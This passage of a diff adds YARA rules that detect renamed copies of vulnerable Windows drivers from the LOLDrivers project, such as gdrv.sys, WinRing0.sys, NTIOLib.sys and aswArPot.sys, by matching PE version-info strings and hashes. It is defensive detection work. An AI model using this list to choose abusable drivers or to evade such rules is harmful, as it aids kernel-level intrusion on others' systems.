+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3d9e83b189fcf5c3541c62d1f54a0da0a4e5b62c3243d2989afc46644056c8e3"
+		date = "2023-06-14"
+		score = 70
+		id = "61d26f77-ddd9-5f83-b531-886eb05331a0"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200046006f00720020004e00540049004f004c00690062005f00450043004f } /* FileDescription NTIOLibForNTIOLibECO */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310031002d00320030003100320020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /NTIOLib/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Msi_Ntiolibsys_Ntiolib_2BBE {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2bbe65cbec3bb069e92233924f7ee1f95ffa16173fceb932c34f68d862781250"
+		hash = "e68d453d333854787f8470c8baef3e0d082f26df5aa19c0493898bcf3401e39a"
+		date = "2023-06-14"
+		score = 70
+		id = "800313e5-3004-57e6-9f4c-969153ede685"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200046006f00720020004d0053004900530069006d0070006c0065005f004f0043 } /* FileDescription NTIOLibForMSISimpleOC */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310031002d00320030003100320020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /NTIOLib/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_092D {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "092d04284fdeb6762e65e6ac5b813920d6c69a5e99d110769c5c1a78e11c5ba0"
+		hash = "0ce40a2cdd3f45c7632b858e8089ddfdd12d9acb286f2015a4b1b0c0346a572c"
+		date = "2023-06-14"
+		score = 70
+		id = "5c6ff79e-d218-5d5f-a057-e6971ef447bf"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 } /* FileDescription GIGABYTENonPnPDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e } /* CompanyName GIGABYTETECHNOLOGYCOLTD */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e0031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 } /* InternalName gdrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 } /* ProductName GIGABYTESoftwaredriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 } /* OriginalFilename gdrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /gdrv/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_62F5 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "62f5e13b2edc00128716cb93e6a9eddffea67ce83d2bb426f18f5be08ead89e0"
+		hash = "ee3ff12943ced401e2b6df9e66e8a0be8e449fa9326cab241f471b2d8ffefdd7"
+		date = "2023-06-14"
+		score = 70
+		id = "188a50cc-7cf9-545d-87c1-9d3fce1070be"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e0030002e0030002e0031003000390039 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100360020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Yyinc_Dianhu_80CB {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Dh_Kernel_10.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "80cbba9f404df3e642f22c476664d63d7c229d45d34f5cd0e19c65eb41becec3"
+		hash = "bb50818a07b0eb1bd317467139b7eb4bad6cd89053fecdabfeae111689825955"
+		date = "2023-06-14"
+		score = 70
+		id = "1675607c-efae-5099-be11-bc206c0712b5"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]006400690061006e00680075 } /* FileDescription dianhu */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0059005900200049006e0063002e } /* CompanyName YYInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e00390039 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e00390039 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]006400690061006e00680075 } /* ProductName dianhu */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300037002d003200300031003700200059005900200049006e0063002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightYYIncAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /Dh_Kernel_10/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Elaboratebytesag_Elbycdio_Cdrtools_8F68 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ElbyCDIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "8f68ca89910ebe9da3d02ec82d935de1814d79c44f36cd30ea02fa49ae488f00"
+		hash = "c8eaa5e6d3230b93c126d2d58e32409e4aeeb23ccf0dd047a17f1ef552f92fe9"
+		date = "2023-06-14"
+		score = 70
+		id = "619ff7aa-13db-5f36-987f-36e5f3af4f4b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0045006c0062007900430044002000570069006e0064006f007700730020004e0054002f0032003000300030002f0058005000200049002f004f0020006400720069007600650072 } /* FileDescription ElbyCDWindowsNTXPIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* CompanyName ElaborateBytesAG */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0045006c00620079004300440049004f } /* InternalName ElbyCDIO */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043004400520054006f006f006c0073 } /* ProductName CDRTools */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0045006c00620079004300440049004f002e007300790073 } /* OriginalFilename ElbyCDIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000300020002d0020003200300030003600200045006c00610062006f0072006100740065002000420079007400650073002000410047 } /* LegalCopyright CopyrightCElaborateBytesAG */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /ElbyCDIO/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_A5A5 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "a5a50449e2cc4d0dbc80496f757935ae38bf8a1bebdd6555a3495d8c219df2ad"
+		date = "2023-06-14"
+		score = 70
+		id = "b3c63fd3-4741-57b7-9de9-d2d2d391882f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0033002e0033003800340038002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0033002e0033003800340038002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003800200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Msi_Ntiolibsys_Ntiolib_591B {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "591bd5e92dfa0117b3daa29750e73e2db25baa717c31217539d30ffb1f7f3a52"
+		date = "2023-06-14"
+		score = 70
+		id = "4df83628-e87e-5e13-b6dd-033541771ae3"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200046006f00720020004d005300490052006100740069006f005f00430043 } /* FileDescription NTIOLibForMSIRatioCC */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /NTIOLib/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Openlibsysorg_Winringsys_Winring_47EA {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WinRing0.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "47eaebc920ccf99e09fc9924feb6b19b8a28589f52783327067c9b09754b5e84"
+		hash = "3ec5ad51e6879464dfbccb9f4ed76c6325056a42548d5994ba869da9c4c039a8"
+		date = "2023-06-14"
+		score = 70
+		id = "1895c269-a7f5-5b4e-8fea-6ac70c16f79b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069006e00520069006e00670030 } /* FileDescription WinRing */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e006f00720067 } /* CompanyName OpenLibSysorg */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0031002e0032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0031002e0032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00570069006e00520069006e00670030002e007300790073 } /* InternalName WinRingsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e00520069006e00670030 } /* ProductName WinRing */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00570069006e00520069006e00670030002e007300790073 } /* OriginalFilename WinRingsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003000370020004f00700065006e004c00690062005300790073002e006f00720067002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCOpenLibSysorgAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /WinRing0/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Insydesoftwarecorp_Segwindrvxsys_Segwindowsdriverx_6532 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - segwindrvx64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "65329dad28e92f4bcc64de15c552b6ef424494028b18875b7dba840053bc0cdd"
+		date = "2023-06-14"
+		score = 70
+		id = "b71a72cc-08d0-572e-b404-ba2f01dc20a6"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 } /* FileDescription SEGWindowsDriverx */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e } /* CompanyName InsydeSoftwareCorp */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]003100300030002e00300030002e00300037002e00300032 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]003100300030002e00300030002e00300037002e00300032 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 } /* InternalName segwindrvxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300450047002000570069006e0064006f0077007300200044007200690076006500720020007800360034 } /* ProductName SEGWindowsDriverx */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00730065006700770069006e006400720076007800360034002e007300790073 } /* OriginalFilename segwindrvxsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100320020002d00200032003000310035002c00200049006e007300790064006500200053006f00660074007700610072006500200043006f00720070002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightcInsydeSoftwareCorpAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /segwindrvx64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_909D {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "909de5f21837ea2b13fdc4e5763589e6bdedb903f7c04e1d0b08776639774880"
+		date = "2023-06-14"
+		score = 70
+		id = "88bfa047-8980-51e0-8baf-9a9301b36283"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* FileDescription AMDRyzenMasterServiceDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 } /* CompanyName AdvancedMicroDevices */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0035002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0035002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* InternalName AMDRyzenMasterDriversys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* ProductName AMDRyzenMasterServiceDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* OriginalFilename AMDRyzenMasterDriversys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300032003000200041004d0044002c00200049006e0063002e } /* LegalCopyright CopyrightAMDInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /AMDRyzenMasterDriver/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Atitechnologiesinc_Atillksys_Atidiagnostics_AD40 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - atillk64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ad40e6d0f77c0e579fb87c5106bf6de3d1a9f30ee2fbf8c9c011f377fa05f173"
+		hash = "38bb9751a3a1f072d518afe6921a66ee6d5cf6d25bc50af49e1925f20d75d4d7"
+		hash = "5c04c274a708c9a7d993e33be3ea9e6119dc29527a767410dbaf93996f87369a"
+		date = "2023-06-14"
+		score = 70
+		id = "729acf46-93eb-5ab1-a696-d4cc6bf43a53"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410054004900200044006900610067006e006f007300740069006300730020004800610072006400770061007200650020004100620073007400720061006300740069006f006e0020005300790073 } /* FileDescription ATIDiagnosticsHardwareAbstractionSys */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410054004900200054006500630068006e006f006c006f006700690065007300200049006e0063002e } /* CompanyName ATITechnologiesInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e00310031002e0039002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e00310031002e0039002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100740069006c006c006b00360034002e007300790073 } /* InternalName atillksys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410054004900200044006900610067006e006f00730074006900630073 } /* ProductName ATIDiagnostics */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100740069006c006c006b00360034002e007300790073 } /* OriginalFilename atillksys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000410054004900200054006500630068006e006f006c006f006700690065007300200049006e0063002e002c00200032003000300033 } /* LegalCopyright CopyrightCATITechnologiesInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /atillk64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_0CD4 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "0cd4ca335155062182608cad9ef5c8351a715bce92049719dd09c76422cd7b0c"
+		date = "2023-06-14"
+		score = 70
+		id = "788423ac-b11d-593a-a043-0bcdcf49465e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AVGAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0033002e00360038002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0033002e00360038002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Novellinc_Novellxtier_E16D {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e16dc51c51b2df88c474feb52ce884d152b3511094306a289623de69dedfdf48"
+		hash = "e6056443537d4d2314dabca1b9168f1eaaf17a14eb41f6f5741b6b82b3119790"
+		hash = "ab0925398f3fa69a67eacee2bbb7b34ac395bb309df7fc7a9a9b8103ef41ed7a"
+		hash = "da11e9598eef033722b97873d1c046270dd039d0e3ee6cd37911e2dc2eb2608d"
+		date = "2023-06-14"
+		score = 70
+		id = "1a622734-cb50-5d17-aa0a-d5a04b26b386"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c0020005800540043004f004d0020005300650072007600690063006500730020004400720069007600650072 } /* FileDescription NovellXTCOMServicesDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e } /* CompanyName NovellInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310031 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 } /* ProductName NovellXTier */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 } /* OriginalFilename libnicmsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310033002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CCopyrightNovellIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /libnicm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroaegis_3FA6 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3fa6379951f08ed3cb87eeba9cf0c5f5e1d0317dcfcf003b810df9d795eeb73e"
+		date = "2023-06-14"
+		score = 70
+		id = "f9cdf106-d925-5630-82a0-dd03a708e6f1"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e00380030002e0030002e0031003000370037 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00380030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f002000410045004700490053 } /* ProductName TrendMicroAEGIS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000390020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_3E1D {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
